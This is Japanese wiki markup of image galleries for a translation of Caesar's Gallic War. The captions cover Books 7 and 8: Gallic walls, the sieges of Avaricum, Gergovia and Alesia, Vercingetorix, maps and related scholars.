&lt;!--【第7巻23節】--&gt;
画像:Murus gallicus de Lyon Fourvière - Maquette de Nicolas Hirsch - Service Archéologique de la Ville de Lyon - Détail structure.jpg|thumb|right|300px|ガッリア式城壁の[[w:ジオラマ|ジオラマ]]（仏[[w:リヨン|リヨン市]]考古学局）。木材を約60cmの間隔で並べる。
画像:2018 Rheinisches Landesmuseum Trier, Keltischer Wehrmauer.jpg|thumb|right|300px|同じく城壁のジオラマ（独[[w:トリーア|トリーア市]]）。
画像:Keltenmauer.gif|thumb|right|280px|ガッリア式城壁の構成図（上が側面、中が上面、下が前面）。木材を水平な井桁状に並べて[[w:釘|釘]]で緊結し、土砂で覆って何層にも重ね、前面には石をはめ込む。井桁状の骨組によって[[w:破城槌|破城槌]]など横からの力（水平荷重）に耐えられるように工夫されている。
画像:Bibracte_murus_gallicus1.jpg|thumb|right|300px|ガッリア式城壁の[[w:ジオラマ|ジオラマ]]（仏[[w:ビブラクテ|ビブラクテ]]遺跡のケルト文明博物館）。この構造形式はカエサルの記述から「[[w:ムルス・ガリクス|ムルス・ガリクス]]（ガッリア壁）」と呼ばれるが、ガッリアに限らず、[[w:鉄器時代|鉄器時代]]末期すなわちBC1世紀頃の後期[[w:ラ・テーヌ文化|ラ・テーヌ文化]]が及んだ各地に遺構として残る。木材どうしを緊結するために数百トンもの[[w:鉄|鉄]]の[[w:釘|釘]]を用いているのが大きな特徴で、[[w:鉄#製錬|製鉄]]・[[w:鋳造|鋳造]]技術の発達を示す。
&lt;/gallery&gt;

&lt;gallery&gt;
&lt;!--【第7巻24節】--&gt;
画像:Avaricum_westpoint_july_2006.jpg|[[w:アウァリクム包囲戦|アウァーリクム攻略戦]]の[[w:ジオラマ|ジオラマ]]（[[w:陸軍士官学校 (アメリカ合衆国)|米国陸軍士官学校]]博物館）。ローマ軍の&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は、城壁（奥）の手前に材木と土砂を積み重ねた構築物が築き上げられ、左右の土手道をそれぞれ4層の[[w:攻城塔|攻城櫓]]が城壁に迫る。土塁の周辺には&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（vinea）を多数つないだ通路（坑道）が延びている。手前には2台の&lt;ruby&gt;&lt;rb&gt;投射機&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が見える。[[:ファイル:Avaricum_westpoint_july_2006.jpg|⇒詳しく]]
&lt;!--【第7巻25節】--&gt;
画像:048_Conrad_Cichorius,_Die_Reliefs_der_Traianssäule,_Tafel_XLVIII_(Ausschnitt 01).jpg|thumb|right|250px|&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を操作する[[w:ダキア人|ダキア人]]の彫刻（[[w:トラヤヌスの記念柱|トラヤヌス帝の記念柱]]に刻まれた[[w:レリーフ|レリーフ]]）。
画像:Balliste_fireing.jpg|thumb|right|250px|&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（[[w:en:Scorpio (dart-thrower)|Scorpio]]）の現代における復元。
&lt;!--【第7巻27節】--&gt;
画像:Avaricum_westpoint_july_2006.jpg|thumb|right|300px|[[w:アウァリクム包囲戦|アウァーリクム攻略戦]]の[[w:ジオラマ|ジオラマ]]（再掲；[[w:陸軍士官学校 (アメリカ合衆国)|米国陸軍士官学校]]博物館）。ローマ軍の&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の周辺には、&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（vinea）の両端を開いて多数つないだ廊下状の通路（坑道）が延びている。[[:ファイル:Avaricum_westpoint_july_2006.jpg|⇒詳しく]]


&lt;!--【第7巻●節】--&gt;
画像:Vercingetorix_stater_CdM.jpg|[[w:ウェルキンゲトリクス|ウェルキンゲトリクス]]の横顔が刻まれたガリアの金貨（パリの[[w:ビブリオテーク・ナショナル|仏国立図書館]]貨幣部蔵）
&lt;/gallery&gt;
&lt;!--【第7巻●節】--&gt;

===ゲルゴウィア攻略戦、ハエドゥイー族の離反===
&lt;gallery&gt;
&lt;!--【第7巻33節】--&gt;
画像:FR-58-Decize29.JPG|thumb|right|250px|デケティア（[[w:la:Decetia|Decetia]]）すなわち現在のドスィーズ（[[w:fr:Decize|Decize]]）の景観。[[w:ハエドゥイ族|ハエドゥイー族]]の版図であった[[w:ニエーヴル県|ニエーヴル県]]の南部にあり、リゲル川（現[[w:ロワール川|ロワール川]]）のほとりに位置している。
&lt;!--【第7巻34節】--&gt;
画像:Brioude pont.JPEG|thumb|right|250px|エラウェル川（[[w:la:Elaver|Elaver]]）こと現在の[[w:アリエ川|アリエ川]]（Allier）。ハエドゥイー族領の境辺りでリゲル川（[[w:la:Liger|Liger]]）こと現[[w:ロワール川|ロワール川]]（[[w:fr:Loire|Loire]]）に合流する。
&lt;!--【第7巻36節】--&gt;
画像:FR-63-Gergovie.JPG|thumb|right|300px|ゲルゴウィア（Gergovia）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau de Gergovie|Plateau de Gergovie]]）の[[w:ピュイ＝ド＝ドーム県|ピュイ＝ド＝ドーム県]]県道978号（D978）からの眺望。19世紀のウジェーヌ・ストッフェル大佐（colonel [[w:fr:Eugène Stoffel|Eugène Stoffel]]）の発掘調査によって、城砦やローマ軍の溝の遺構などが発見され、当地がゲルゴウィアの古戦場だと確認された。
画像:Siège_GergovieI_-52.png|thumb|right|300px|ゲルゴウィアにおける両軍の布陣図。山の頂にある城塞都市に隣接してガッリア諸部族の陣営（黄色部分）、右方にローマ軍の大きな陣営（赤色部分）と左下にローマ軍の小さな陣営（赤色部分）が見える。推定される位置関係は19世紀のストッフェル大佐の発掘調査に依拠しており、小陣営があった地点は現在のラ・ロシュ＝ブランシュ（[[w:fr:La Roche-Blanche (Puy-de-Dôme)|La Roche-Blanche]]）だと考えられている。

&lt;/gallery&gt;


&lt;!--【第7巻●節】--&gt;
&lt;gallery&gt;
画像:Plateau_of_Gergovia.jpg|ゲルゴウィア（[[w:la:Gergovia|Gergovia]]）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau de Gergovie|Plateau de Gergovie]]）の全景（南方のル・クレスト [[w:fr:Le Crest|Le Crest]] から撮影）。&lt;br&gt;画像中央の右下に、ローマ勢が占領して小さい方の陣営を築いていたと推定されているラ・ロシュ＝ブランシュ（[[w:fr:La Roche-Blanche (Puy-de-Dôme)|La Roche-Blanche]]）の丘陵が見える。&lt;br&gt;本節①項で言及されているのは画像の左端に写る丘陵と思われ、尾根伝いにほぼ平坦なゲルゴウィアの山頂（画像中央）に続いている。&lt;br&gt;これらの位置関係の推定は、19世紀の[[w:ウジェーヌ・ストッフェル|ウジェーヌ・ストッフェル]]大佐（colonel Eugène Stoffel）の発掘調査に依拠したものである。
画像:La_Roche_Blanche.JPG|ローマ勢が占領して小さい方の陣営を築いていたと推定されているラ・ロシュ＝ブランシュ（[[w:fr:La Roche-Blanche (Puy-de-Dôme)|La Roche-Blanche]]）の丘陵
画像:Gergovie_mur_pano2.jpg|ゲルゴウィア（[[w:la:Gergovia|Gergovia]]）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau de Gergovie|Plateau de Gergovie]]）で発掘された城壁の遺構。
画像:Auvergne_Gaul_coin_CdM.jpg|[[w:アルウェルニ族|アルウェルニ族]]の兵士が刻まれた貨幣（[[w:ビブリオテーク・ナショナル|仏国立図書館]]貨幣部所蔵）
画像:Dorf_La_Roche_Blanche.JPG|ゲルゴウィア（[[w:la:Gergovia|Gergovia]]）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau_de_Gergovie|Plateau de Gergovie]]）の遠景（南方のル・クレスト [[w:fr:Le_Crest|Le Crest]] から撮影）。画像中央がローマ軍が小さい方の陣営を設置していたと推定されているラ・ロシュ＝ブランシュ（[[w:fr:La_Roche-Blanche_(Puy-de-Dôme)|La Roche Blanche]]）の丘陵で、山頂からこの丘陵の辺りが激戦地だったと思われる。現在は山麓にかけて住宅地が広がっている。
画像:Monument_gergovie_fr.jpg|[[w:ゲルゴウィアの戦い|ゲルゴウィア戦勝]]記念碑。[[w:1903年|1903年]]に[[w:クレルモン＝フェラン|クレルモン＝フェラン市]]出身の建築家ジャン・テラール（[[w:fr:Jean Teillard|Jean Teillard]]）が、侵略者カエサルを撃退した郷土の英雄[[w:ウェルキンゲトリクス|ウェルキンゲトリクス]]に捧げるためにジェルゴヴィ高地（[[w:fr:Plateau_de_Gergovie|Plateau de Gergovie]]）に建立したものである。
画像:Plaque_Napoléon_III_Gergovie.jpg|[[w:ゲルゴウィアの戦い|ゲルゴウィア]]の地に残る銘板。フランス語で「[[w:ナポレオン3世|ナポレオン3世]]は、1862年のゲルゴウィアの[[w:オッピドゥム|城市]]（跡）訪問の結果、メルドーニュ（Merdogne）の住民たちの要求に対して、1865年1月11日の政令によって、彼らの村にジェルゴヴィ（[[w:fr:Gergovie|Gergovie]]）の名を与えることを決定した。」&lt;!-- «A la suite de sa visite sur l'oppidum de Gergovia en 1862, Napoléon III, à la demande des habitants de Merdogne, décida d'attribuer à leur village le nom de Gergovie, par décret du 11 janvier 1865.»--&gt;
画像:Nevers_-_Vue_depuis_la_rive_sud_de_la_Loire.jpg|ノウィオドゥヌム（[[w:la:Nivernum|Noviodunum]]）＝現･[[w:ヌヴェール|ヌヴェール]]（[[w:fr:Nevers|Nevers]]）における、リゲル川（[[w:la:Liger|Liger]]）＝現･[[w:ロワール川|ロワール川]]（[[w:fr:Loire (fleuve)|Loire]]）の岸辺の景観
画像:Bibracte333_crop.JPG|[[w:ビブラクテ|ビブラクテ]]の[[w:オッピドゥム|城市]]跡に整備された城壁の遺構
&lt;/gallery&gt;
&lt;!--【第7巻●節】--&gt;

===アレスィア攻囲戦===
&lt;!--【第7巻●節】--&gt;
&lt;gallery&gt;
画像:Alésia.jpg|[[w:アレシアの戦い|アレスィア古戦場]]であるとほぼ確実視されている仏アリーズ＝サント＝レーヌ村（[[w:fr:Alise-Sainte-Reine|Alise-Sainte-Reine]]）近郊のオソワ山（Mont Auxois）という丘陵の西端にある[[w:ウェルキンゲトリクス|ウェルキンゲトリクス]]像（&lt;small&gt;[[w:fr:Vercingétorix_(statue d'Aimé Millet)|Statue de Vercingétorix]]&lt;/small&gt;）。&lt;small&gt;[http://maps.google.co.jp/?ie=UTF8&amp;ll=47.538579,4.490544&amp;spn=0.001172,0.002401&amp;t=h&amp;z=19&amp;brcurrent=3,0x0:0x0,1 Googleマップ]&lt;/small&gt;の航空写真にもこの巨像が写っている。&lt;br&gt;当地はフランス東部[[w:ブルゴーニュ地域圏|ブルゴーニュ地方]][[w:コート＝ドール県|コート＝ドール県]]（&lt;small&gt;[[w:fr:Côte-d'Or|Côte-d'Or]]&lt;/small&gt;）のオソワ地域（&lt;small&gt;[[w:fr:Auxois (région)|L'Auxois]]&lt;/small&gt;）にあり、県都[[w:ディジョン|ディジョン]]市街から西北西へ約4.5kmの地点に位置する。ディジョン方面から県道905号（D905）を北西に進んで行くと、ヴナレ＝レ＝ローム（&lt;small&gt;[[w:fr:Venarey-les-Laumes|Venarey-les-Laumes]]&lt;/small&gt;）から東の郊外にかけて古戦場跡が広がる。&lt;br&gt;オソワ（Auxois）という地域名・山名は、ラテン語の Alesiensis pagus「アレスィア郷」が転訛し、アリーズ（Alise）の名もアレスィア（Alesia）に由来すると考えられている。サント＝レーヌ（[[w:fr:Sainte Reine|Sainte Reine]] 聖レグニア）とはこの地でAD252年に殉教したキリスト教徒ガリア人女性で、カトリック教会から聖人に列せられている。
画像:Alise2.jpg|[[w:アレシア|アレスィア]]にあったローマ時代の[[w:フォルム|フォルム]]（広場）や[[w:バシリカ|バシリカ]]（教会堂）などと思われる遺跡（[http://maps.google.co.jp/?ie=UTF8&amp;t=h&amp;brcurrent=3,0x0:0x0,1&amp;ll=47.539477,4.5008&amp;spn=0.002343,0.004801&amp;z=18 Googleマップ]の航空写真を参照）。現在、オソワ山（Mont Auxois）と呼ばれているこの丘陵は、頂きが平坦な台地状になっており、その中央のさらに高い所に[[w:オッピドゥム|オッピドゥム]]（城市）があったと思われる。&lt;br&gt;上の画像からは、同等の高さの丘陵が周囲を取り巻いていることが見て取れる。&lt;br&gt;『ガリア戦記』に書かれたアレスィアの所在地については諸説があって永らく不明であったが、ゲルゴウィアと同様に19世紀のウジェーヌ・ストッフェル大佐（colonel Eugène Stoffel）の発掘調査によってローマ軍の遺構などが発見され、地勢もカエサルの記述にかなり合っていると見なされて、オソワ山とその中腹にあるアリーズ＝サント＝レーヌが有力視されることになった。

&lt;br&gt;
&lt;!--【第7巻●節】--&gt;
画像:Statue_Vercingetorix_st_germain_en_laye.JPG|[[w:ウェルキンゲトリクス|ウェルキンゲトリクス]]の立像（&lt;small&gt;パリ郊外の[[w:サン＝ジェルマン＝アン＝レー|サン＝ジェルマン＝アン＝レー]] [[w:fr:Saint-Germain-en-Laye|Saint-Germain-en-Laye]]&lt;/small&gt;）。[[w:アレシアの戦い|アレスィア古戦場]]（&lt;small&gt;現在のアリーズ＝サント＝レーヌ&lt;/small&gt;）にある巨大な銅像と同様に彫刻家エメ・ミレ（[[w:fr:Aimé Millet|Aimé Millet]]）によって建立された。
画像:Napoleon3.PNG|ウジェーヌ・ストッフェル大佐（colonel Eugène Stoffel）をして[[w:アレシア|アレスィア]]およびゲルゴウィアの発掘調査をさせた立役者･皇帝[[w:ナポレオン3世|ナポレオン3世]]の肖像。[[w:ガリア起源説|ガリア起源説]]により、王政に反感を持つフランスの共和派や庶民は、旧[[w:ブルボン家|ブルボン王朝]]を[[w:クロヴィス1世|クロヴィス]]や[[w:ユーグ・カペー|カペー]]にさかのぼるゲルマン系の[[w:フランク人|フランク人]]と見なし、自分たちのルーツを[[w:ケルト人|ケルト系]]の古代[[w:ガリア人|ガリア人]]に求めた。ナポレオン3世はこのような国民の意識を利用して、[[w:ナショナリズム|ナショナリズム]]の高揚および帝政の基盤強化を図ったのである。
画像:Fosse.Saint.Pierre.en.Chastres.png|二重の堀およびその背後の堡塁（土塁と障壁・櫓）の模式図（[[w:ウジェーヌ・エマニュエル・ヴィオレ・ル・デュク|ヴィオレ＝ル＝デュク]]著『中世フランス建築体系辞典』[[s:fr:Dictionnaire raisonné de l’architecture française du XIe au XVIe siècle - Tome 5, Fossé|(s)]]より）。


画像:AlesiaFortifications.JPG|[[w:アレシアの戦い|アレスィア古戦場]]跡に再現された、二重の堀およびその背後の堡塁（土塁と鹿柴、胸壁・鋸壁、櫓）。

&lt;!--【第7巻73節】--&gt;
画像:Archeodrome_Beaune_8.jpg|[[w:アレシアの戦い|アレスィア古戦場]]跡に再現された攻囲陣地（上の画像と同じ物）。堡塁（土塁と障壁と櫓）の前の平地に、樹枝が突き出た「尖り杭」（奥）と落とし穴を枝で覆った「百合」（手前）が見える。
画像:Trous.de.loup.png|サイコロの五つ目状に並べられた落とし穴「百合」（lilium）の模式図（[[w:ウジェーヌ・エマニュエル・ヴィオレ・ル・デュク|ヴィオレ＝ル＝デュク]]著『中世フランス建築体系辞典』[[s:fr:Dictionnaire raisonné de l’architecture française du XIe au XVIe siècle - Tome 5, Fossé|(s)]]より）。図の上部が五つ目状の配列を、図の下部が落とし穴の断面図を示す。この断面図では、尖らされた樹幹の先端が、傾斜した穴の突き固められた底から4本指ほど突き出ていると解釈しているようである。カエサルの記述からは、地表から突き出ているとも解釈できる。
画像:Aiguillon.png|鉄の鉤が固定された杭「刺」の模式図（[[w:ウジェーヌ・エマニュエル・ヴィオレ・ル・デュク|ヴィオレ＝ル＝デュク]]著『中世フランス建築体系辞典』[[s:fr:Dictionnaire raisonné de l’architecture française du XIe au XVIe siècle - Tome 5, Fossé|(s)]]より）。
画像:Archeodrome_Beaune_2.jpg|[[w:アレシアの戦い|アレスィア古戦場]]跡に再現された攻囲陣地（上の画像と同じ物）。いちばん手前に「刺」が再現されている。
画像:Fortificazioni alesia png.png|thumb|left|500px|[[w:アレシアの戦い|アレシアの戦い]]における攻囲陣地の構成（図の説明はイタリア語）。

&lt;br&gt;
&lt;!--【第7巻●節】--&gt;

画像:Vercingétorix se rend à César 1886 HPMotte.jpg|thumb|right|330px|「カエサルの陣営に投降するウェルキンゲトリークス」&lt;br&gt;“Vercingétorix se rendant au camp de César”、&lt;br&gt;アンリ＝ポール・モット（[[w:fr:Henri-Paul_Motte|Henri-Paul Motte]]）画、1886年。&lt;br&gt;[[w:ル・ピュイ＝アン＝ヴレ|ル・ピュイ=アン=ヴレ]]のクロザティエ美術館（[[w:fr:Musée Crozatier au Puy-en-Velay|Musée Crozatier]] au [[w:fr:Le Puy-en-Velay|Puy-en-Velay]]）蔵。
画像:Lionel Royer - Vercingetorix Throwing down His Weapons at the feet of Julius Caesar.jpg|「ウェルキンゲトリクスが彼の武器をユリウス・カエサルの足元に投げ捨てる」“Vercingétorix jette ses armes aux pieds de Jules César”、リオネル＝ノエル・ロワイエ（[[w:fr:Lionel Royer|Lionel-Noël Royer]]）
画、1899年。[[w:ル・ピュイ＝アン＝ヴレ|ル・ピュイ=アン=ヴレ]]のクロザティエ美術館（[[w:fr:Musée Crozatier au Puy-en-Velay|Musée Crozatier]] au [[w:fr:Le Puy-en-Velay|Puy-en-Velay]]）蔵。
画像:Coin_Vercingetorix.jpg|ローマがBC48年に発行した[[w:デナリウス|デナリウス銀貨]]。ウェルキンゲトリクスの横顔が刻まれているとも言われ、[[w:マメルティヌスの牢獄|トゥッリアヌム牢獄]]に虜囚となっているかつてのガリアの盟主を見せしめにしたものとも考えられる。彼はBC46年に処刑されたが、カエサルもBC44年に暗殺された。
画像:Autun_porte_Saint-André.JPG|[[w:オータン|オータン市]]に遺されたローマ時代からの聖アンドレ門。[[w:ビブラクテ|ビブラクテ]]を首邑としていた[[w:ハエドゥイ族|ハエドゥイ族]]は、ローマ帝政初期に東方の平地に移り、「[[w:アウグストゥス|アウグストゥス]]の砦」を意味するアウグストドゥヌム（[[w:la:Augustodunum|Augustodunum]]）を建設して首邑とした。これが現在のオータン（Autun）となっている。
画像:Clermont_vu_de_Montjuzet.JPG|[[w:クレルモン＝フェラン|クレルモン＝フェラン市]]の街並み。ローマに降伏した[[w:アルウェルニ族|アルウェルニ族]]は、後に首邑のゲルゴウィアを廃城とされ、北方の平野にあるネメトゥム（Nemetum）に移住させられた。帝政初期に[[w:アウグストゥス|アウグストゥス]]に由来するアウグストネメトゥム（[[w:la:Augustonemetum|Augustonemetum]]）に改称して、[[w:クレルモン教会会議|クレルモン教会会議]]が開かれるなど宗教的中心地として栄え、現在のクレルモン＝フェランに至る。

&lt;/gallery&gt;
&lt;!--【第7巻●節】--&gt;

==第8巻==
&lt;gallery&gt;
画像:Gaule -51.png|ガリア戦記 第8巻の情勢図（BC51年）。&lt;br&gt;黄色の領域がローマ領。桃色が同盟部族領。

&lt;/gallery&gt;
&lt;!--【第8巻●節】--&gt;

==題字==
[[画像:Blue_square_A.PNG|30px]]
[[画像:Blue_square_B.PNG|30px]]
[[画像:Blue_square_C.PNG|30px]]
[[画像:Blue_square_D.PNG|30px]]
[[画像:Blue_square_E.PNG|30px]]
[[画像:Blue_square_G.PNG|30px]]
[[画像:Blue_square_I.PNG|30px]]
[[画像:Blue_square_L.PNG|30px]]
[[画像:Blue_square_M.PNG|30px]]
[[画像:Blue_square_N.PNG|30px]]
[[画像:Blue_square_O.PNG|30px]]
[[画像:Blue_square_P.PNG|30px]]
[[画像:Blue_square_Q.PNG|30px]]
[[画像:Blue_square_R.PNG|30px]]
[[画像:Blue_square_S.PNG|30px]]
[[画像:Blue_square_T.PNG|30px]]
[[画像:Blue_square_V.PNG|30px]]
[[画像:Blue_square_X.PNG|30px]]
[[画像:Solid_blue.svg|30px]]

==その他・未使用画像==
*'''全般'''
&lt;gallery&gt;
画像:Gaule -59.png|ガリア戦争 直前のガリア情勢図（BC59年）。&lt;br&gt;黄色の領域がローマ領。
画像:Gaule -50.png|ガリア戦争 直後のガリア情勢図（BC50年）。&lt;br&gt;黄色の領域がローマ領。
画像:Cesare prima Gallia 58 a.C.jpg|[[w:ガリア戦争|ガリア戦争]]直前のローマ周辺図（BC58年）。緑の領域がケルト系部族の居住地、黄色の領域がローマ領。
画像:Cesare dopo Gallia 50 a.C..jpg|ガリア戦争直後のローマ周辺図（BC50年）。緑の領域がケルト系部族の居住地、黄色の領域がローマ領。
画像:Map Gallia Tribes Towns-la.svg|ガッリアの地図（SVG）
画像:La2-demis-france.png|ガッリアの現代の地形図
画像:Gaul.svg|ガッリアの地形図

画像:Bust_of_Gaius_Iulius_Caesar_in_Naples.jpg|カエサルの胸像
画像:Caesar-Altes-Museum-Berlin.jpg|カエサルの胸像
画像:Kastell Niederbieber, Modell, 2007.jpg|ローマ軍の陣営の模型
画像:DevaMinervaPlan(bq).jpg|ローマ軍の陣営の模型
画像:Ambleside Roman Fort_-_Project_Gutenberg_eText_19115.png|[[w:イングランド|イングランド]]北西部の[[w:カンブリア (イングランド)|カンブリア州]]アンブルサイド（&lt;small&gt;[[w:en:Ambleside|Ambleside]], Cumbria&lt;/small&gt;）に残る帝政ローマ前期（1世紀頃）のガラヴァ城砦（[[w:en:Galava|Galava]]）の図面。
画像:Castrum La Crucca.JPG|ローマ軍の塁壁の再現例
画像:Castellum Matilo entreetoren Romeinse soldaten op wacht 20170806 fotoCThunnissen.jpg|櫓の再現例


画像:Map of Britain as conceived by Caesar (Kelsey 1918).png|
&lt;/gallery&gt;


===[[:c:Category:De Bello Gallico edited by Harry Towle &amp; Paul Jenks (1903)]]===
&lt;gallery&gt;
画像:Caesar - De Bello Gallico, 1908 (page 80 crop).jpg|ロダヌス川
画像:Caesar - De Bello Gallico, 1908 (page 96 crop).jpg|アリオウィストゥスとの会見
画像:Caesar - De Bello Gallico, 1908 (page 102 crop).jpg|アリオウィストゥスとの戦い
画像:Caesar - De Bello Gallico, 1908 (page 108 crop).jpg|ベルガエ遠征路
画像:Caesar - De Bello Gallico, 1908 (page 113 crop).jpg|ローマ軍の陣営
画像:Caesar - De Bello Gallico, 1908 (page 117 crop).jpg|アクソナ川の戦い
画像:Caesar - De Bello Gallico, 1908 (page 124 crop).jpg|サビス川の戦い
画像:Caesar - De Bello Gallico, 1908 (page 132 crop).jpg|アトゥアトゥキー族攻囲
画像:Caesar - De Bello Gallico, 1908 (page 138 crop).jpg|ウェネティー族との海戦
画像:Caesar - De Bello Gallico, 1908 (page 158 crop).jpg|ライン川への遠征
画像:Caesar - De Bello Gallico, 1908 (page 169 crop).jpg|ライン川架橋
画像:Caesar - De Bello Gallico, 1908 (page 186 crop).jpg
画像:
画像:
画像:
画像:
画像:
画像:


&lt;/gallery&gt;

*'''第1巻'''
&lt;gallery&gt;
画像:Ager Helvetium.png|ヘルウェーティイー族の領土
画像:Maxima Sequanorum.jpg|ヘルウェーティイー族の領土
画像:Schweiz-Französischer-Jura.png|ヘルウェーティイー族の領土


&lt;/gallery&gt;

*'''第2巻'''
&lt;gallery&gt;
画像:Aisne.png|エーヌ県の地図

&lt;/gallery&gt;

&lt;gallery&gt;

画像:Cimbrians and Teutons invasions.svg|[[w:キンブリ族|キンブリ族]]と[[w:テウトネス族|テウトニ族]]がローマ領へ侵攻して勃発した[[w:キンブリ・テウトニ戦争|キンブリ・テウトニ戦争]]（BC113-101年）の要図。『ガリア戦記』では第1巻33節・40節と第2巻4節・29節と第7巻77節で言及されている。
画像:Marius_Glyptothek_Munich_319.jpg|[[w:ガイウス・マリウス|ガイウス・マリウス]]の胸像。[[w:マリウスの軍制改革|軍制改革]]を断行し、[[w:キンブリ・テウトニ戦争|キンブリ族とテウトニ族の侵攻]]を撃滅した。（第1巻40節）
画像:Tiepolo_Vercellae.jpg|キンブリ族を撃退する[[w:ガイウス・マリウス|マリウス]]とローマ軍（[[w:ジョヴァンニ・バッティスタ・ティエポロ|ジョヴァンニ・バッティスタ・ティエポロ]]画）（第1巻40節）

&lt;/gallery&gt;

*'''第3巻'''
&lt;gallery&gt;
画像:Sambuke-gelo4.jpg|[[w:en:Sambuca (siege engine)]]
&lt;/gallery&gt;

*'''各4巻'''
&lt;gallery&gt;
画像:Jochbrücke Skizze.jpg|[[:c:Category:Pile yoke bridges|Pile yoke bridge]]
画像:Leipzig - Gustav-Esche-Straße - Auensee 09 ies.jpg|[[:c:Category:Wooden pile yoke bridges in Germany|Wooden pile yoke bridges]]の例
画像:13734-Colditz-1912-Muldenpartie am Muldenschößchen-Brück &amp; Sohn Kunstverlag.jpg|[[:c:Category:Wooden pile yoke bridges in Germany|Wooden pile yoke bridges]]の例


&lt;/gallery&gt;

*'''各5巻'''
&lt;gallery&gt;
画像:Karel de Kesel 35019.jpg|Ambiorix tendant une embuscade à la XIVe slégion romaine.
&lt;/gallery&gt;

*'''各6巻'''
&lt;gallery&gt;
&lt;/gallery&gt;

&lt;gallery&gt;
画像:Bibracte Dumnorix.jpg|[[w:ハエドゥイ族|ハエドゥイ族]]のドゥムノリクス

画像:Blaeu - Atlas of Scotland 1654 - INSULÆ ALBION et HIBERNIA cum minoribus adjacentibus - British Isles.jpg|ラテン語で記述されたブリタンニアとヒベルニア周辺の地図（17世紀）
画像:Day length.jpeg|緯度と日付（ユリウス日）による日中の長さの図示。

画像:Jupiter_Musée_d'Evreux_210209_1.jpg|ユピテル神像（仏エヴルー博物館）
画像:FeldbergPanorama.jpg|ヘルキュニアの森（[[w:en:Hercynian_Forest|Hercynian Forest]]）


&lt;/gallery&gt;

*'''第7巻'''
&lt;gallery&gt;
画像:Via Domitia (Narbonne).jpg|現在の[[w:ナルボンヌ|ナルボンヌ]]に残る[[w:ドミティア街道|ドミティア街道]]（Via Domitia）の遺構
画像:MC_cevenes.jpg|[[w:中央高地 (フランス)|中央高地]]（Massif Central）におけるセヴェンヌ山地（Cévennes）の位置
画像:GORGOBINA oo2.jpg|ボイイー族のゴルゴビナ
画像:VercingetorixSurrenders.jpg|ウェルキンゲトリクスの降伏
画像:Vercingétorix se rend à César 1886 HPMotte.jpg|ウェルキンゲトリクスの降伏

&lt;/gallery&gt;

*'''第8巻など'''
&lt;gallery&gt;
画像:Correus.jpg|ベッロウァキ族の指導者コッレウス。第8巻でローマ軍と戦って戦死した。絵は19世紀フランスの画家ディオジェーヌ・マイヤール（Diogène Maillart）作『コッレウスの死』（La mort de Correus）。
画像:Hermann (Arminius) at the battle of the Teutoburg Forest in 9 CE by Peter Jannsen, 1873, with painting creases and damage removed.jpg|[[w:トイトブルク森の戦い|トイトブルク森の戦い]]でローマ人を圧倒するゲルマニア人
画像:Otto_Albert_Koch_Varusschlacht 1909.jpg|[[w:トイトブルク森の戦い|トイトブルク森の戦い]]でローマ人を圧倒するゲルマニア人
&lt;/gallery&gt;

*'''その他'''
&lt;gallery&gt;
画像:Karl_Ludwig_Nipperdey.jpg|『ガリア戦記』の最初の近代的な校訂版（1847年）を著わしたカール・ニッペルダイ（[[w:de:Carl Nipperdey|Carl Nipperdey]]：1821-1875）の肖像写真（1858年撮影）。
画像:Theodor_Mommsen_02.jpg|『ガリア戦記』などローマ史を研究し、1902年にノーベル文学賞を受賞した[[w:テオドール・モムゼン|テオドール・モムゼン]]（[[w:de:Theodor Mommsen|Theodor Mommsen]]：1817-1903）の肖像画（1863年）。

&lt;/gallery&gt;

==脚注==
&lt;references /&gt;
==参考リンク==
===ウィキペディア===
*ラテン語版（la）
**[[w:la:Categoria:Bellum Gallicum]] - ガリア戦争のカテゴリ
**[[w:la:Bellum Gallicum]] - ガリア戦争
**[[w:la:De bello Gallico]] - ガリア戦記
*ドイツ語版（de）
**[[w:de:Portal:Rom und Römisches Reich]] - 古代ローマのポータル
**ガリア戦記の研究者
***[[w:de:Carl Nipperdey]] - カール・ニッペルダイ（1821-1875）：1847年に初めて近代的な校訂版を著わした。
***[[w:de:Theodor Mommsen]] - [[w:テオドール・モムゼン|テオドール・モムゼン]]（1817-1903）：ノーベル文学賞を受賞したローマ史家。
***Heinrich Meusel - ハインリヒ・モイゼル：β系写本の評価を高め、写本の系図を提案した校訂者。
***[[w:de:Alfred Klotz]] - アルフレート・クロッツ（1874-1956）：β系写本の優位を主張した校訂者。
***[[w:de:Otto Seel]] - オットー・ゼール（1907-1975）：1961年に校訂版を著わした。
***[[w:de:Wolfgang Hering]] - ヴォルフガング・ヘーリンク（1987-?）：1987年に校訂版を著わした。
*英語版（en）
**[[w:en:Portal:Ancient Rome]] - 古代ローマのポータル
**[[w:en:Template:Ancient Rome topics]] - 古代ローマ関係の記事テンプレート
